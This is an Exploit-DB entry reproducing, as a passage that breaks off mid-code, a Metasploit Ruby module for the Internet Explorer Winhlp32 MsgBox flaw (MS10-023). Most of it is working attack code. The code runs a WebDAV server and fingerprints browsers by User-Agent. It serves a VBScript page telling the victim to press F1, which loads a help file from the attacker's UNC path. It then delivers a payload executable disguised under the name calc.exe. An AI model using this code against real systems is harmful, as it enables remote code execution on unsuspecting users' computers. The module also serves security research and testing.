Exploit-DB #16541
Description: Microsoft Internet Explorer - 'Winhlp32.exe' MsgBox Code Execution (MS10-023) (Metasploit)
Type: remote
Platform: windows
Date: 2010-09-28
Author: Metasploit

Exploit:
##
# $Id: ms10_022_ie_vbscript_winhlp32.rb 10504 2010-09-28 16:19:50Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Internet Explorer Winhlp32.exe MsgBox Code Execution',
			'Description'    => %q{
					This module exploits a code execution vulnerability that occurs when a user
				presses F1 on MessageBox originated from VBscript within a web page. When the
				user hits F1, the MessageBox help functionaility will attempt to load and use
				a HLP file from an SMB or WebDAV (if the WebDAV redirector is enabled) server.

				This particular version of the exploit implements a WebDAV server that will
				serve HLP file as well as a payload EXE. During testing warnings about the
				payload EXE being unsigned were witnessed. A future version of this module
				might use other methods that do not create such a warning.
			},
			'Author'         =>
				[
					'Maurycy Prodeus',   # Original discovery
					'jduck'              # Metasploit version
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10504 $',
			'References'     =>
				[
					[ 'CVE', '2010-0483' ],
					[ 'OSVDB', '62632' ],
					[ 'MSB', 'MS10-023' ],
					[ 'URL', 'http://www.microsoft.com/technet/security/advisory/981169.mspx' ],
					[ 'URL', 'http://blogs.technet.com/msrc/archive/2010/02/28/investigating-a-new-win32hlp-and-internet-explorer-issue.aspx' ],
					[ 'URL', 'http://isec.pl/vulnerabilities/isec-0027-msgbox-helpfile-ie.txt' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Compat' =>
					{
						'ConnectionType' => '-find',
					}
				},
			'Platform'       => 'win',

			# Tested OK - Windows XP SP3 - jjd
			'Targets'        =>
				[
					[ 'Automatic', { } ],

					[ 'Internet Explorer on Windows',
						{
							# nothing here
						}
					]
				],
			'DisclosureDate' => 'Feb 26 2010',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
				OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
			], self.class)
	end


	def auto_target(cli, request)
		agent = request.headers['User-Agent']

		ret = nil
		# Check for MSIE and/or WebDAV redirector requests
		if agent =~ /(Windows NT 6\.0|MiniRedir\/6\.0)/
			ret = targets[1]
		elsif agent =~ /(Windows NT 5\.1|MiniRedir\/5\.1)/
			ret = targets[1]
		elsif agent =~ /(Windows NT 5\.2|MiniRedir\/5\.2)/
			ret = targets[1]
		elsif agent =~ /MSIE 7\.0/
			ret = targets[1]
		elsif agent =~ /MSIE 6\.0/
			ret = targets[1]
		else
			print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
		end

		ret
	end


	def on_request_uri(cli, request)

		mytarget = target
		if target.name == 'Automatic'
			mytarget = auto_target(cli, request)
			if (not mytarget)
				send_not_found(cli)
				return
			end
		end

		# If there is no subdirectory in the request, we need to redirect.
		if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//)
			if (request.uri == '/')
				subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
			else
				subdir = request.uri + '/'
			end
			print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
			send_redirect(cli, subdir)
			return
		end

		# dispatch WebDAV requests based on method first
		case request.method
		when 'OPTIONS'
			process_options(cli, request, mytarget)

		when 'PROPFIND'
			process_propfind(cli, request, mytarget)

		when 'GET'
			process_get(cli, request, mytarget)

		when 'PUT'
			print_status("Sending 404 for PUT #{request.uri} ...")
			send_not_found(cli)

		else
			print_error("Unexpected request method encountered: #{request.method}")

		end

	end


	#
	# GET requests
	#
	def process_get(cli, request, target)

		print_status("Responding to GET request from #{cli.peerhost}:#{cli.peerport}")
		# dispatch based on extension
		if (request.uri =~ /\.hlp$/i)
			#
			# HLP requests sent by IE and the WebDav Mini-Redirector
			#
			print_status("Sending HLP to #{cli.peerhost}:#{cli.peerport}...")
			# Transmit the compressed response to the client
			send_response(cli, generate_hlp(target), { 'Content-Type' => 'application/octet-stream' })

		elsif (request.uri =~ /calc\.exe$/i)
			#
			# send the EXE
			#
			print_status("Sending EXE to #{cli.peerhost}:#{cli.peerport}...")
			# Re-generate the payload
			return if ((p = regenerate_payload(cli)) == nil)
			exe = generate_payload_exe({ :code => p.encoded })
			send_response(cli, exe, { 'Content-Type' => 'application/octet-stream' })

		else
			#
			# HTML requests sent by IE and Firefox
			#
			my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
			name = rand_text_alphanumeric(rand(8)+8)
			#path = get_resource.gsub(/\//, '\\')
			path = request.uri.gsub(/\//, '\\')
			unc = '\\\\' + my_host + path + name + '.hlp'
			print_status("Using #{unc} ...")
			html = %Q|<html>
<script type="text/vbscript">
MsgBox "Welcome!  Press F1 to dismiss this dialog.", ,"Welcome!", "#{unc}", 1
</script>
</html>
|
			print_status("Sending HTML page to #{cli.peerhost}:#{cli.peerport}...")
			send_response(cli, html)

		end
	end


	#
	# OPTIONS requests sent by the WebDav Mini-Redirector
	#
	def process_opti